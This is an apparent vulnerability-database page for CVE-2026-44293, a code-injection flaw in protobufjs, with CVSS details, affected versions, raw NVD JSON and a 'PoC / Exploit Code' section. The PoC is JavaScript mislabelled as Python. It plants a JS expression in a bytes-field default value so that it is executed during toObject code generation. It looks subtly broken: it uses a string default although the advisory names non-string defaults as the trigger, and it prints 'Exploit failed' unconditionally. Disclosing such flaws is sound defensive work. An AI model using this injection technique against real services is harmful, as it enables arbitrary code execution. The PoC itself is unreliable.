Security Vulnerability Report
中文
CVE-2026-44293 CVSS 8.8 HIGH

CVE-2026-44293

Published: 2026-05-13 16:16:56
Last Modified: 2026-05-13 20:56:58

Description

protobufjs compiles protobuf definitions into JavaScript (JS) functions. Prior to 7.5.6 and 8.0.2, protobufjs generated JavaScript for toObject conversion could include an unsafe expression derived from a schema-controlled bytes field default value. A crafted descriptor with a non-string default value for a bytes field could cause attacker-controlled code to be emitted into the generated conversion function. This vulnerability is fixed in 7.5.6 and 8.0.2.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:* - VULNERABLE
protobufjs < 7.5.6
protobufjs >= 8.0.0, < 8.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-44293: protobufjs Code Injection // This PoC demonstrates how a non-string default value in a bytes field // can lead to arbitrary code execution during the toObject generation. const protobuf = require("protobufjs"); // 1. Define a malicious schema with a bytes field // The 'defaultValue' contains a JavaScript expression instead of a valid bytes string. const maliciousJson = { nested: { VulnerableMessage: { fields: { maliciousField: { type: "bytes", id: 1, // Injection payload: This will be evaluated as JS code // Example: trying to execute a function or accessing global objects defaultValue: '(function(){console.log("[+] CVE-2026-44293 Exploited: Code Execution!");})()' } } } } }; // 2. Load the schema console.log("[*] Loading malicious schema..."); const root = protobuf.Root.fromJSON(maliciousJson); const MessageType = root.lookupType("VulnerableMessage"); // 3. Trigger the vulnerability // The code is generated and executed when toObject is called or the type is initialized. console.log("[*] Triggering code generation via toObject..."); try { // Create an empty message instance const message = MessageType.create({}); // Convert to object. In vulnerable versions, this triggers the evaluation of the default value. const obj = MessageType.toObject(message); console.log("[-] Exploit failed. Code did not execute."); } catch (e) { console.log("[-] Exploit failed with error:", e.message); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44293", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:56.253", "lastModified": "2026-05-13T20:56:57.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "protobufjs compiles protobuf definitions into JavaScript (JS) functions. Prior to 7.5.6 and 8.0.2, protobufjs generated JavaScript for toObject conversion could include an unsafe expression derived from a schema-controlled bytes field default value. A crafted descriptor with a non-string default value for a bytes field could cause attacker-controlled code to be emitted into the generated conversion function. This vulnerability is fixed in 7.5.6 and 8.0.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "7.5.6", "matchCriteriaId": "BC190A12-59A1-4DEF-A65D-E4216ED5B807"}, {"vulnerable": true, "criteria": "cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.2", "matchCriteriaId": "734292AA-F3B2-4E3E-9FA2-0EBA7AB0BB45"}]}]}], "references": [{"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-66ff-xgx4-vchm", "source": "[email protected]", "tags": ["Vendor Advisory", "Mitigation"]}]}}